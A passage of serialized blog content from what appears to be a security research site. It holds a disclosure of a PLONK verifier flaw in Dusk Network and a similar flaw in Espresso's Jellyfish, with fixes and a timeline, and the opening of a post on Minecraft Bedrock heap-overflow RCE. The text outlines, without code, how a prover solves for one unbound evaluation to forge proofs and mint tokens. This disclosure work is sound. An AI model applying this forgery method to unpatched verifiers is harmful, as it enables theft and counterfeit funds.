",{"type":25,"tag":82,"props":150181,"children":150183},{"className":150182},[212,4696],[150184],{"type":25,"tag":216,"props":150185,"children":150187},{"className":150186},[224],[150188],{"type":25,"tag":216,"props":150189,"children":150191},{"className":150190,"ariaHidden":230},[229],[150192],{"type":25,"tag":216,"props":150193,"children":150195},{"className":150194},[235],[150196,150200,150257,150262,150267],{"type":25,"tag":216,"props":150197,"children":150199},{"className":150198,"style":5507},[240],[],{"type":25,"tag":216,"props":150201,"children":150203},{"className":150202},[246],[150204,150209],{"type":25,"tag":216,"props":150205,"children":150207},{"className":150206,"style":2319},[246,2145],[150208],{"type":31,"value":148555},{"type":25,"tag":216,"props":150210,"children":150212},{"className":150211},[2153],[150213],{"type":25,"tag":216,"props":150214,"children":150216},{"className":150215},[298,299],[150217,150246],{"type":25,"tag":216,"props":150218,"children":150220},{"className":150219},[304],[150221,150241],{"type":25,"tag":216,"props":150222,"children":150224},{"className":150223,"style":97063},[309],[150225],{"type":25,"tag":216,"props":150226,"children":150227},{"style":2341},[150228,150232],{"type":25,"tag":216,"props":150229,"children":150231},{"className":150230,"style":2175},[319],[],{"type":25,"tag":216,"props":150233,"children":150235},{"className":150234},[2180,2181,2182,2183],[150236],{"type":25,"tag":216,"props":150237,"children":150239},{"className":150238},[246,2183],[150240],{"type":31,"value":21480},{"type":25,"tag":216,"props":150242,"children":150244},{"className":150243},[408],[150245],{"type":31,"value":411},{"type":25,"tag":216,"props":150247,"children":150249},{"className":150248},[304],[150250],{"type":25,"tag":216,"props":150251,"children":150253},{"className":150252,"style":2203},[309],[150254],{"type":25,"tag":216,"props":150255,"children":150256},{},[],{"type":25,"tag":216,"props":150258,"children":150260},{"className":150259},[287],[150261],{"type":31,"value":1844},{"type":25,"tag":216,"props":150263,"children":150265},{"className":150264,"style":117538},[246,2145],[150266],{"type":31,"value":117541},{"type":25,"tag":216,"props":150268,"children":150270},{"className":150269},[427],[150271],{"type":31,"value":1882},{"type":31,"value":7010},{"type":25,"tag":162,"props":150274,"children":150277},{"href":150275,"rel":150276},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/permutation/verifierkey.rs#L24-L104",[166],[150278],{"type":31,"value":150279},"permutation verifier key",{"type":31,"value":24696},{"type":25,"tag":38,"props":150282,"children":150283},{},[150284,150286,150296],{"type":31,"value":150285},"The four selector evaluations fit neither of these safe patterns: they are prover-supplied scalars, they are used directly by verifier code, and they never appear in ",{"type":25,"tag":162,"props":150287,"children":150290},{"href":150288,"rel":150289},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L361-L373",[166],[150291],{"type":25,"tag":82,"props":150292,"children":150294},{"className":150293},[],[150295],{"type":31,"value":149737},{"type":31,"value":150297},", which leaves the master equation underconstrained.",{"type":25,"tag":38,"props":150299,"children":150300},{},[150301],{"type":25,"tag":6461,"props":150302,"children":150305},{"alt":150303,"src":150304},"structural_trust_boundary","/posts/dusk-commitment-issues/structural_trust_boundary.svg",[],{"type":25,"tag":22747,"props":150307,"children":150308},{},[],{"type":25,"tag":26,"props":150310,"children":150312},{"id":150311},"the-exploitation",[150313],{"type":31,"value":150314},"The exploitation",{"type":25,"tag":38,"props":150316,"children":150317},{},[150318],{"type":31,"value":150319},"Since the selector evaluations are free variables, the verification equation becomes a linear equation the prover can solve after the fact.",{"type":25,"tag":38,"props":150321,"children":150322},{},[150323,150325,150331,150333,150338,150340,150345,150347,150353],{"type":31,"value":150324},"The prover commits to arbitrary witness polynomials, without needing a valid witness, and arbitrary quotient polynomials, where small random linear polynomials suffice. It follows the honest protocol through all commitment rounds, deriving the same challenges the verifier will. After seeing ",{"type":25,"tag":82,"props":150326,"children":150328},{"className":150327},[],[150329],{"type":31,"value":150330},"z_challenge",{"type":31,"value":150332},", it computes what the linearization polynomial ",{"type":25,"tag":64,"props":150334,"children":150335},{},[150336],{"type":31,"value":150337},"should",{"type":31,"value":150339}," evaluate to for the pairing check to pass, then solves for ",{"type":25,"tag":82,"props":150341,"children":150343},{"className":150342},[],[150344],{"type":31,"value":149858},{"type":31,"value":150346},", the single free variable that makes the verification equation balance (setting ",{"type":25,"tag":82,"props":150348,"children":150350},{"className":150349},[],[150351],{"type":31,"value":150352},"q_c_eval = q_l_eval = q_r_eval = 0",{"type":31,"value":24696},{"type":25,"tag":38,"props":150355,"children":150356},{},[150357],{"type":25,"tag":6461,"props":150358,"children":150361},{"alt":150359,"src":150360},"exploit_algebra","/posts/dusk-commitment-issues/exploit_algebra.svg",[],{"type":25,"tag":38,"props":150363,"children":150364},{},[150365,150367,150407,150409,150434,150436,150441],{"type":31,"value":150366},"To achieve this one may compute the linearization polynomial ",{"type":25,"tag":82,"props":150368,"children":150370},{"className":150369},[212,4696],[150371],{"type":25,"tag":216,"props":150372,"children":150374},{"className":150373},[224],[150375],{"type":25,"tag":216,"props":150376,"children":150378},{"className":150377,"ariaHidden":230},[229],[150379],{"type":25,"tag":216,"props":150380,"children":150382},{"className":150381},[235],[150383,150387,150392,150397,150402],{"type":25,"tag":216,"props":150384,"children":150386},{"className":150385,"style":5507},[240],[],{"type":25,"tag":216,"props":150388,"children":150390},{"className":150389,"style":2746},[246,2145],[150391],{"type":31,"value":97823},{"type":25,"tag":216,"props":150393,"children":150395},{"className":150394},[287],[150396],{"type":31,"value":1844},{"type":25,"tag":216,"props":150398,"children":150400},{"className":150399},[246,2145],[150401],{"type":31,"value":2535},{"type":25,"tag":216,"props":150403,"children":150405},{"className":150404},[427],[150406],{"type":31,"value":1882},{"type":31,"value":150408}," with all selectors set to zero, evaluating it at ",{"type":25,"tag":82,"props":150410,"children":150412},{"className":150411},[212,4696],[150413],{"type":25,"tag":216,"props":150414,"children":150416},{"className":150415},[224],[150417],{"type":25,"tag":216,"props":150418,"children":150420},{"className":150419,"ariaHidden":230},[229],[150421],{"type":25,"tag":216,"props":150422,"children":150424},{"className":150423},[235],[150425,150429],{"type":25,"tag":216,"props":150426,"children":150428},{"className":150427,"style":6309},[240],[],{"type":25,"tag":216,"props":150430,"children":150432},{"className":150431,"style":117538},[246,2145],[150433],{"type":31,"value":117541},{"type":31,"value":150435},", and comparing to the target value; the difference divided by the coefficient of ",{"type":25,"tag":82,"props":150437,"children":150439},{"className":150438},[],[150440],{"type":31,"value":149858},{"type":31,"value":150442}," gives the required value in a single field division.",{"type":25,"tag":22747,"props":150444,"children":150445},{},[],{"type":25,"tag":26,"props":150447,"children":150449},{"id":150448},"impact-on-dusk-network",[150450],{"type":31,"value":150451},"Impact on Dusk Network",{"type":25,"tag":38,"props":150453,"children":150454},{},[150455,150457,150464],{"type":31,"value":150456},"PLONK is the sole gatekeeper for Phoenix-specific correctness claims: note membership, ownership, note commitments, sender-authorship, and balance integrity are encoded entirely in the circuit. Rusk does check other preconditions such as nullifier uniqueness before it verifies the proof (",{"type":25,"tag":162,"props":150458,"children":150461},{"href":150459,"rel":150460},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/node/vm.rs#L153-L184",[166],[150462],{"type":31,"value":150463},"preverify path",{"type":31,"value":150465},"), but for the claims inside the proof there is no secondary validation path. With forged proofs, an attacker could:",{"type":25,"tag":6705,"props":150467,"children":150468},{},[150469,150474,150479],{"type":25,"tag":2037,"props":150470,"children":150471},{},[150472],{"type":31,"value":150473},"Inflate the token supply by fabricating input notes that do not exist in the note tree, with arbitrary values. The forged proof convinces the network these notes are real, and the attacker mints DUSK out of nothing, ready to transfer to honest users or exchanges.",{"type":25,"tag":2037,"props":150475,"children":150476},{},[150477],{"type":31,"value":150478},"Forge spends that bypass the ownership, membership, and balance checks that normally make a Phoenix input note valid.",{"type":25,"tag":2037,"props":150480,"children":150481},{},[150482],{"type":31,"value":150483},"Move forged shielded funds through honest wallets, because once a forged Phoenix transaction is accepted, the resulting shielded outputs are not distinguishable from legitimate Phoenix outputs at the protocol level.",{"type":25,"tag":38,"props":150485,"children":150486},{},[150487],{"type":31,"value":150488},"We demonstrated this with a full end-to-end proof-of-concept on a local Dusk testnet:",{"type":25,"tag":6705,"props":150490,"children":150491},{},[150492,150497,150507,150519,150524],{"type":25,"tag":2037,"props":150493,"children":150494},{},[150495],{"type":31,"value":150496},"Set up a single honest Rusk node and create two wallets (honest and malicious), both with balance 0",{"type":25,"tag":2037,"props":150498,"children":150499},{},[150500,150502],{"type":31,"value":150501},"The malicious wallet forges a PLONK proof to create ",{"type":25,"tag":9267,"props":150503,"children":150504},{},[150505],{"type":31,"value":150506},"2000 DUSK from nothing",{"type":25,"tag":2037,"props":150508,"children":150509},{},[150510,150512,150517],{"type":31,"value":150511},"The malicious wallet transfers ",{"type":25,"tag":9267,"props":150513,"children":150514},{},[150515],{"type":31,"value":150516},"1337 DUSK",{"type":31,"value":150518}," to the honest wallet using a normal (honestly-proved) transaction",{"type":25,"tag":2037,"props":150520,"children":150521},{},[150522],{"type":31,"value":150523},"The honest node validates both transactions and mines them into blocks",{"type":25,"tag":2037,"props":150525,"children":150526},{},[150527],{"type":31,"value":150528},"The honest wallet shows a confirmed balance of 1337 DUSK",{"type":25,"tag":38,"props":150530,"children":150531},{},[150532],{"type":25,"tag":6461,"props":150533,"children":150536},{"alt":150534,"src":150535},"end_to_end","/posts/dusk-commitment-issues/end_to_end.svg",[],{"type":25,"tag":38,"props":150538,"children":150539},{},[150540,150542,150548,150550,150557],{"type":31,"value":150541},"At the time of discovery, DUSK's market cap was roughly ",{"type":25,"tag":162,"props":150543,"children":150545},{"href":145845,"rel":150544},[166],[150546],{"type":31,"value":150547},"~60M",{"type":31,"value":150549},". The entire shielded transaction layer was at risk. Because Phoenix is privacy-preserving, forged outputs accepted into the shielded pool would have been difficult to distinguish after the fact, similar to Neptune Cash with the ",{"type":25,"tag":162,"props":150551,"children":150554},{"href":150552,"rel":150553},"https://neptune.cash/articles/critical-vulnerability-disclosure",[166],[150555],{"type":31,"value":150556},"Triton VM vulnerability",{"type":31,"value":179},{"type":25,"tag":22747,"props":150559,"children":150560},{},[],{"type":25,"tag":26,"props":150562,"children":150564},{"id":150563},"the-fix",[150565],{"type":31,"value":150566},"The fix",{"type":25,"tag":38,"props":150568,"children":150569},{},[150570],{"type":31,"value":150571},"The fix adds the four selector evaluations to the KZG batch opening check, so they are verified against the selector commitments already present in the verifier key:",{"type":25,"tag":2033,"props":150573,"children":150574},{},[150575,150620],{"type":25,"tag":2037,"props":150576,"children":150577},{},[150578,150580,150591,150593,150599,150600,150606,150607,150613,150614],{"type":31,"value":150579},"Extend ",{"type":25,"tag":162,"props":150581,"children":150584},{"href":150582,"rel":150583},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/compiler/prover.rs#L509",[166],[150585],{"type":25,"tag":82,"props":150586,"children":150588},{"className":150587},[],[150589],{"type":31,"value":150590},"compute_aggregate_witness",{"type":31,"value":150592}," on the prover side to also include ",{"type":25,"tag":82,"props":150594,"children":150596},{"className":150595},[],[150597],{"type":31,"value":150598},"q_arith",{"type":31,"value":7020},{"type":25,"tag":82,"props":150601,"children":150603},{"className":150602},[],[150604],{"type":31,"value":150605},"q_c",{"type":31,"value":7020},{"type":25,"tag":82,"props":150608,"children":150610},{"className":150609},[],[150611],{"type":31,"value":150612},"q_l",{"type":31,"value":10433},{"type":25,"tag":82,"props":150615,"children":150617},{"className":150616},[],[150618],{"type":31,"value":150619},"q_r",{"type":25,"tag":2037,"props":150621,"children":150622},{},[150623,150625,150635],{"type":31,"value":150624},"Add their evaluations to ",{"type":25,"tag":162,"props":150626,"children":150629},{"href":150627,"rel":150628},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362",[166],[150630],{"type":25,"tag":82,"props":150631,"children":150633},{"className":150632},[],[150634],{"type":31,"value":149737},{"type":31,"value":150636}," on the verifier side, so they're checked against the commitments in the verifier key",{"type":25,"tag":38,"props":150638,"children":150639},{},[150640,150642,150649],{"type":31,"value":150641},"This was done in ",{"type":25,"tag":162,"props":150643,"children":150646},{"href":150644,"rel":150645},"https://github.com/dusk-network/plonk/commit/645265b748d2698bcb403b794fc2d58340b340f1",[166],[150647],{"type":31,"value":150648},"commit 645265b7",{"type":31,"value":150650},", which landed on February 14, 2026.",{"type":25,"tag":22747,"props":150652,"children":150653},{},[],{"type":25,"tag":26,"props":150655,"children":150657},{"id":150656},"why-was-this-missed",[150658],{"type":31,"value":150659},"Why was this missed?",{"type":25,"tag":38,"props":150661,"children":150662},{},[150663,150665,150672,150673,150680,150682,150689,150691,150698],{"type":31,"value":150664},"Dusk's stack had been heavily audited: a ",{"type":25,"tag":162,"props":150666,"children":150669},{"href":150667,"rel":150668},"https://github.com/dusk-network/audits/blob/main/core-audits/2023-12_plonk-audit-report_porter-adams.pdf",[166],[150670],{"type":31,"value":150671},"December 2023 audit of dusk-plonk",{"type":31,"value":128316},{"type":25,"tag":162,"props":150674,"children":150677},{"href":150675,"rel":150676},"https://github.com/dusk-network/audits/blob/main/core-audits/2024-09_phoenix-audit-report_jules-de-smit.pdf",[166],[150678],{"type":31,"value":150679},"September 2024 audit of Phoenix",{"type":31,"value":150681},", and a ",{"type":25,"tag":162,"props":150683,"children":150686},{"href":150684,"rel":150685},"https://github.com/dusk-network/audits/blob/main/core-audits/2024-09_rusk-node-library_oak-security.pdf",[166],[150687],{"type":31,"value":150688},"September 2024 Oak Security audit of the Rusk node library",{"type":31,"value":150690},". Dusk's public ",{"type":25,"tag":162,"props":150692,"children":150695},{"href":150693,"rel":150694},"https://dusk.network/news/audits-overview",[166],[150696],{"type":31,"value":150697},"audits overview",{"type":31,"value":150699}," summarizes the broader audit program. The bug still went unnoticed because it hides behind a very easy mental-model mistake.",{"type":25,"tag":38,"props":150701,"children":150702},{},[150703,150705,150710],{"type":31,"value":150704},"At the polynomial level, selectors are public circuit descriptions. A reviewer who keeps that standard PLONK model in mind will naturally think \"selectors are verifier-side\" and move on, overlooking the architectural deviation where Dusk's verifier started consuming prover-supplied selector ",{"type":25,"tag":64,"props":150706,"children":150707},{},[150708],{"type":31,"value":150709},"evaluations",{"type":31,"value":179},{"type":25,"tag":38,"props":150712,"children":150713},{},[150714],{"type":31,"value":150715},"This was a pure proof-system bug, not a Phoenix-circuit bug; the circuit constraints themselves were correctly written. The failure occurred entirely because the verifier accepted proof fields that bypassed the fundamental invariant established earlier: they were neither locally computed nor cryptographically bound to an opening proof.",{"type":25,"tag":38,"props":150717,"children":150718},{},[150719],{"type":31,"value":150720},"The check for this class of bug is mechanical: enumerate every field in the proof's evaluation struct and verify that each one either appears in the opening proof batch or is computed locally by the verifier.",{"type":25,"tag":26,"props":150722,"children":150724},{"id":150723},"a-similar-bug-in-espresso-systems-jellyfish",[150725],{"type":31,"value":150726},"A similar bug in Espresso Systems' Jellyfish",{"type":25,"tag":38,"props":150728,"children":150729},{},[150730,150732,150739],{"type":31,"value":150731},"While investigating PLONK implementations, we found a similar vulnerability in ",{"type":25,"tag":162,"props":150733,"children":150736},{"href":150734,"rel":150735},"https://github.com/EspressoSystems/jellyfish/",[166],[150737],{"type":31,"value":150738},"jf-plonk",{"type":31,"value":150740}," by Espresso Systems. The exact mechanism is different, but the exploitation also boils down to variables that are used in the final check not being cryptographically bound.",{"type":25,"tag":38,"props":150742,"children":150743},{},[150744,150746,150753,150755,150766,150768,150793,150795,150820],{"type":31,"value":150745},"Jellyfish implements UltraPlonk, which extends standard PLONK with ",{"type":25,"tag":162,"props":150747,"children":150750},{"href":150748,"rel":150749},"https://eprint.iacr.org/2020/315",[166],[150751],{"type":31,"value":150752},"Plookup",{"type":31,"value":150754}," lookup arguments. Plookup adds 15 polynomial evaluations to the proof. The function ",{"type":25,"tag":162,"props":150756,"children":150759},{"href":150757,"rel":150758},"https://github.com/EspressoSystems/jellyfish/blob/83e62ed43140d251f8a972033fdd9ddb717c66d7/plonk/src/transcript/mod.rs#L156-L166",[166],[150760],{"type":25,"tag":82,"props":150761,"children":150763},{"className":150762},[],[150764],{"type":31,"value":150765},"append_plookup_evaluations",{"type":31,"value":150767}," was supposed to add all 15 to the Fiat-Shamir transcript before the batching challenge ",{"type":25,"tag":82,"props":150769,"children":150771},{"className":150770},[212,4696],[150772],{"type":25,"tag":216,"props":150773,"children":150775},{"className":150774},[224],[150776],{"type":25,"tag":216,"props":150777,"children":150779},{"className":150778,"ariaHidden":230},[229],[150780],{"type":25,"tag":216,"props":150781,"children":150783},{"className":150782},[235],[150784,150788],{"type":25,"tag":216,"props":150785,"children":150787},{"className":150786,"style":6309},[240],[],{"type":25,"tag":216,"props":150789,"children":150791},{"className":150790,"style":2319},[246,2145],[150792],{"type":31,"value":117882},{"type":31,"value":150794}," is derived. Instead, it only added 6 of the 15, and the remaining 9 evaluations are used in the batched verification check but don't influence ",{"type":25,"tag":82,"props":150796,"children":150798},{"className":150797},[212,4696],[150799],{"type":25,"tag":216,"props":150800,"children":150802},{"className":150801},[224],[150803],{"type":25,"tag":216,"props":150804,"children":150806},{"className":150805,"ariaHidden":230},[229],[150807],{"type":25,"tag":216,"props":150808,"children":150810},{"className":150809},[235],[150811,150815],{"type":25,"tag":216,"props":150812,"children":150814},{"className":150813,"style":6309},[240],[],{"type":25,"tag":216,"props":150816,"children":150818},{"className":150817,"style":2319},[246,2145],[150819],{"type":31,"value":117882},{"type":31,"value":150821},", so the prover can adjust them after the fact to make the check pass.",{"type":25,"tag":38,"props":150823,"children":150824},{},[150825,150827,150833,150835,150841],{"type":31,"value":150826},"The attack requires modifying a single evaluation (",{"type":25,"tag":82,"props":150828,"children":150830},{"className":150829},[],[150831],{"type":31,"value":150832},"key_table_next_eval",{"type":31,"value":150834},") by ",{"type":25,"tag":82,"props":150836,"children":150838},{"className":150837},[],[150839],{"type":31,"value":150840},"delta / (u * v^3)",{"type":31,"value":150842}," to close the gap between the true and expected batched evaluation, which, like the Dusk exploit, reduces to a single field division.",{"type":25,"tag":38,"props":150844,"children":150845},{},[150846,150848,150855,150857,150868],{"type":31,"value":150847},"To our knowledge, Jellyfish's UltraPlonk mode is not currently deployed in production. ",{"type":25,"tag":162,"props":150849,"children":150852},{"href":150850,"rel":150851},"https://github.com/EspressoSystems/jellyfish/pull/867",[166],[150853],{"type":31,"value":150854},"PR #867",{"type":31,"value":150856}," fixed the issue and was tagged as ",{"type":25,"tag":162,"props":150858,"children":150861},{"href":150859,"rel":150860},"https://github.com/EspressoSystems/jellyfish/tree/jf-plonk-v0.8.0",[166],[150862],{"type":25,"tag":82,"props":150863,"children":150865},{"className":150864},[],[150866],{"type":31,"value":150867},"jf-plonk-v0.8.0",{"type":31,"value":150869}," on March 18, 2026.",{"type":25,"tag":22747,"props":150871,"children":150872},{},[],{"type":25,"tag":26,"props":150874,"children":150876},{"id":150875},"toward-standardization",[150877],{"type":31,"value":150878},"Toward standardization",{"type":25,"tag":38,"props":150880,"children":150881},{},[150882,150884,150891],{"type":31,"value":150883},"The fact that two independent PLONK implementations contain the same class of bug, and that ",{"type":25,"tag":162,"props":150885,"children":150888},{"href":150886,"rel":150887},"https://osec.io/blog/2026-03-03-zkvms-unfaithful-claims/",[166],[150889],{"type":31,"value":150890},"similar patterns appear across zkVMs",{"type":31,"value":150892},", suggests this isn't a problem that individual audits alone can solve. The check described above (diff \"evaluations used\" against \"evaluations bound\") is mechanical and could be built into development tooling, CI pipelines, or standardized PLONK verification specifications.",{"type":25,"tag":38,"props":150894,"children":150895},{},[150896],{"type":31,"value":150897},"We're in early discussions with the Dusk team and other stakeholders about what a PLONK standardization effort could look like: a curve-agnostic, backend-agnostic specification of the verification protocol that makes invariants like evaluation binding explicit and checkable.",{"type":25,"tag":38,"props":150899,"children":150900},{},[150901],{"type":31,"value":150902},"The status quo, where each team implements their own PLONK variant from the paper and hopes the auditor catches what they missed, is fragile. A shared, well-reviewed verification spec would reduce the surface area for these bugs and give auditors a concrete checklist to verify against.",{"type":25,"tag":26,"props":150904,"children":150905},{"id":64785},[150906],{"type":31,"value":150907},"Disclosure timeline",{"type":25,"tag":59707,"props":150909,"children":150910},{},[150911,150927],{"type":25,"tag":126924,"props":150912,"children":150913},{},[150914],{"type":25,"tag":126928,"props":150915,"children":150916},{},[150917,150922],{"type":25,"tag":126932,"props":150918,"children":150919},{},[150920],{"type":31,"value":150921},"Date",{"type":25,"tag":126932,"props":150923,"children":150924},{},[150925],{"type":31,"value":150926},"Event",{"type":25,"tag":126952,"props":150928,"children":150929},{},[150930,150943,150956,150968,150994,151014],{"type":25,"tag":126928,"props":150931,"children":150932},{},[150933,150938],{"type":25,"tag":126959,"props":150934,"children":150935},{},[150936],{"type":31,"value":150937},"2026-02-13",{"type":25,"tag":126959,"props":150939,"children":150940},{},[150941],{"type":31,"value":150942},"Dusk vulnerability reported",{"type":25,"tag":126928,"props":150944,"children":150945},{},[150946,150951],{"type":25,"tag":126959,"props":150947,"children":150948},{},[150949],{"type":31,"value":150950},"2026-02-14",{"type":25,"tag":126959,"props":150952,"children":150953},{},[150954],{"type":31,"value":150955},"Dusk acknowledged",{"type":25,"tag":126928,"props":150957,"children":150958},{},[150959,150963],{"type":25,"tag":126959,"props":150960,"children":150961},{},[150962],{"type":31,"value":150950},{"type":25,"tag":126959,"props":150964,"children":150965},{},[150966],{"type":31,"value":150967},"Dusk fix committed",{"type":25,"tag":126928,"props":150969,"children":150970},{},[150971,150976],{"type":25,"tag":126959,"props":150972,"children":150973},{},[150974],{"type":31,"value":150975},"2026-02-27",{"type":25,"tag":126959,"props":150977,"children":150978},{},[150979,150981,150992],{"type":31,"value":150980},"Public ",{"type":25,"tag":162,"props":150982,"children":150985},{"href":150983,"rel":150984},"https://github.com/dusk-network/rusk/releases/tag/dusk-rusk-1.6.0",[166],[150986],{"type":25,"tag":82,"props":150987,"children":150989},{"className":150988},[],[150990],{"type":31,"value":150991},"dusk-rusk-1.6.0",{"type":31,"value":150993}," release published",{"type":25,"tag":126928,"props":150995,"children":150996},{},[150997,151002],{"type":25,"tag":126959,"props":150998,"children":150999},{},[151000],{"type":31,"value":151001},"2026-03-16",{"type":25,"tag":126959,"props":151003,"children":151004},{},[151005,151007,151013],{"type":31,"value":151006},"Jellyfish fix PR opened (",{"type":25,"tag":162,"props":151008,"children":151010},{"href":150850,"rel":151009},[166],[151011],{"type":31,"value":151012},"#867",{"type":31,"value":1882},{"type":25,"tag":126928,"props":151015,"children":151016},{},[151017,151022],{"type":25,"tag":126959,"props":151018,"children":151019},{},[151020],{"type":31,"value":151021},"2026-03-18",{"type":25,"tag":126959,"props":151023,"children":151024},{},[151025,151027,151032,151034],{"type":31,"value":151026},"Jellyfish fix merged in ",{"type":25,"tag":162,"props":151028,"children":151030},{"href":150850,"rel":151029},[166],[151031],{"type":31,"value":151012},{"type":31,"value":151033}," and tagged as ",{"type":25,"tag":162,"props":151035,"children":151037},{"href":150859,"rel":151036},[166],[151038],{"type":25,"tag":82,"props":151039,"children":151041},{"className":151040},[],[151042],{"type":31,"value":150867},{"type":25,"tag":26,"props":151044,"children":151046},{"id":151045},"acknowledgements",[151047],{"type":31,"value":151048},"Acknowledgements",{"type":25,"tag":38,"props":151050,"children":151051},{},[151052],{"type":31,"value":151053},"We thank the Dusk team for responding within a day, coordinating the fix transparently, and engaging on the broader standardization question. We also thank the Espresso Systems team for turning around the Jellyfish patch in under a week.",{"title":7,"searchDepth":6763,"depth":6763,"links":151055},[151056,151063,151064,151065,151066,151067,151068,151069,151070,151071,151072,151073],{"id":145875,"depth":6763,"text":145878,"children":151057},[151058,151059,151060,151061,151062],{"id":145900,"depth":6772,"text":145903},{"id":146701,"depth":6772,"text":146704},{"id":147899,"depth":6772,"text":147902},{"id":147929,"depth":6772,"text":147932},{"id":148210,"depth":6772,"text":148213},{"id":148943,"depth":6763,"text":148946},{"id":149081,"depth":6763,"text":149084},{"id":94266,"depth":6763,"text":149712},{"id":150311,"depth":6763,"text":150314},{"id":150448,"depth":6763,"text":150451},{"id":150563,"depth":6763,"text":150566},{"id":150656,"depth":6763,"text":150659},{"id":150723,"depth":6763,"text":150726},{"id":150875,"depth":6763,"text":150878},{"id":64785,"depth":6763,"text":150907},{"id":151045,"depth":6763,"text":151048},"content:blog:2026-04-30-unverified-evaluations-dusk-plonk.md","blog/2026-04-30-unverified-evaluations-dusk-plonk.md","blog/2026-04-30-unverified-evaluations-dusk-plonk",{"_path":151078,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":151079,"description":151080,"date":151081,"author":127583,"image":151082,"isFeatured":16,"onBlogPage":16,"tags":151084,"body":151087,"_type":6792,"_id":160467,"_source":6794,"_file":160468,"_stem":160469,"_extension":6797},"/blog/2026-06-02-minecraft-heap-overflow-to-rce","Pwning Minecraft: 4-Byte Heap Overflow to RCE","We achieved RCE in Minecraft Bedrock, turning a 4-byte heap overflow into complete client compromise. Learn how a universal, Bedrock-specific technique is used to bypass ASLR and achieve arbitrary read/write primitives.","2026-06-02T12:00:00.000Z",{"src":151083,"width":101220,"height":17574},"/posts/minecraft-heap-overflow-to-rce/title.png",[151085,151086],"minecraft","rce",{"type":22,"children":151088,"toc":160444},[151089,151094,151099,151104,151110,151115,151134,151139,151145,151150,151155,151161,151166,151171,151176,151182,151187,151192,151198,151218,151230,151237,151259,151273,151280,151286,151296,151316,151321,151327,151340,151685,151690,151698,151704,151723,152031,152059,152102,152114,152122,152127,152596,152615,152636,152978,153002,153274,153298,153325,153534,153553,153561,153580,153586,153648,153651,153673,153677,153682,153687,153693,153698,153712,153718,153732,153738,153751,153756,153764,153769,153775,153796,153804,153817,153820,153825,153839,153844,153849,153855,153860,153883,153888,153894,153899,153911,153923,154037,154057,154062,154067,154073,154078,154098,154713,154726,155800,155805,155813,155818,155824,155829,155837,155850,155855,155860,155867,155880,155885,155892,155947,155967,155974,155993,156000,156003,156008,156013,156019,156031,156044,156052,156123,156134,156168,156176,156181,156186,156192,156204,156223,156235,156240,156248,156267,156275,156294,156302,156328,156336,156341,156349,156354,156362,156365,156370,156375,156381,156394,156412,156450,156480,156488,156493,156499,156504,156509,156515,156527,156696,156708,156716,156721,156728,156733,156794,156841,156853,156858,156884,156958,156996,157001,157009,157030,157035,157061,157095,157148,157195,157201,157220,157252,157260,157363,157434,157440,157466,157473,157478,157485,157490,157731,157757,157762,157810,157815,157821,157853,157865,157897,157905,157944,157952,157957,157965,157970,157978,157990,157998,158010,158018,158030,158050,158056,158076,158093,158101,158113,158121,158140,158145,158153,158158,158166,158192,158203,158210,158215,158223,158228,158236,158241,158249,158254,158262,158267,158275,158280,158288,158329,158336,158341,158349,158354,158362,158367,158375,158380,158385,158393,158398,158406,158432,158440,158466,158474,158479,158487,158492,158500,158508,158513,158521,158526,158534,158537,158548,158582,158600,158608,158628,158634,158653,158711,158731,158739,158742,158781,158841,158846,158852,158865,158873,158925,158964,158972,159005,159008,159028,159036,159042,159047,159055,159095,159136,159156,159161,159166,159184,159190,159195,159214,159275,159283,159309,159315,159335,159340,159345,159352,159417,159422,159429,159450,159455,159467,159473,159506,159513,159518,159546,159553,159609,159621,159628,159689,159708,159714,159748,159769,159796,159804,159857,159927,159933,159953,159996,160001,160399,160405,160410,160421,160425,160430,160435,160440],{"type":25,"tag":453,"props":151090,"children":151092},{"id":151091},"pwning-minecraft-4-byte-heap-overflow-to-rce",[151093],{"type":31,"value":151079},{"type":25,"tag":38,"props":151095,"children":151096},{},[151097],{"type":31,"value":151098},"In this post, we explore how we achieved remote code execution with a 4-byte heap overflow on a target with default modern protections - working around Windows' Control Flow Guard and ASLR on a remote client connecting to a malicious server, without any information leaks from the client.",{"type":25,"tag":38,"props":151100,"children":151101},{},[151102],{"type":31,"value":151103},"We present a powerful technique, specific to our target, which can be used to achieve RCE for bug types such as double frees, use-after-frees, and any heap overflow of at least 3 bytes.",{"type":25,"tag":26,"props":151105,"children":151107},{"id":151106},"the-target",[151108],{"type":31,"value":151109},"The Target",{"type":25,"tag":38,"props":151111,"children":151112},{},[151113],{"type":31,"value":151114},"Minecraft is one of the most popular games of all time, with millions of daily players and a large count of community servers actively played by thousands - this, and the lack of research in this area made it an intriguing target.",{"type":25,"tag":38,"props":151116,"children":151117},{},[151118,151120,151125,151127,151132],{"type":31,"value":151119},"There are two main editions: ",{"type":25,"tag":9267,"props":151121,"children":151122},{},[151123],{"type":31,"value":151124},"Minecraft Java Edition",{"type":31,"value":151126},", written in Java and available on desktop platforms (Windows, macOS, Linux), and ",{"type":25,"tag":9267,"props":151128,"children":151129},{},[151130],{"type":31,"value":151131},"Minecraft Bedrock Edition",{"type":31,"value":151133},", written largely in C++ and used on consoles like PlayStation and Xbox, mobile platforms, and also available on Windows.",{"type":25,"tag":38,"props":151135,"children":151136},{},[151137],{"type":31,"value":151138},"Given that we were interested in memory corruption bugs we chose the Bedrock Edition. Specifically, we decided to explore the Windows version as the debugging setup was the one we were most familiar with.",{"type":25,"tag":607,"props":151140,"children":151142},{"id":151141},"choice-of-context",[151143],{"type":31,"value":151144},"Choice of Context",{"type":25,"tag":38,"props":151146,"children":151147},{},[151148],{"type":31,"value":151149},"We focused on a malicious-server -> connecting-client threat model because a server controls many inputs, giving a larger, easier-to-reach attack surface than client->client attacks.",{"type":25,"tag":38,"props":151151,"children":151152},{},[151153],{"type":31,"value":151154},"A server can control a large state which includes: the whole world and all entities within, each connected client state such as the position and view angles, and server-provided resource packs which connecting clients will download and parse.",{"type":25,"tag":607,"props":151156,"children":151158},{"id":151157},"resource-packs",[151159],{"type":31,"value":151160},"Resource 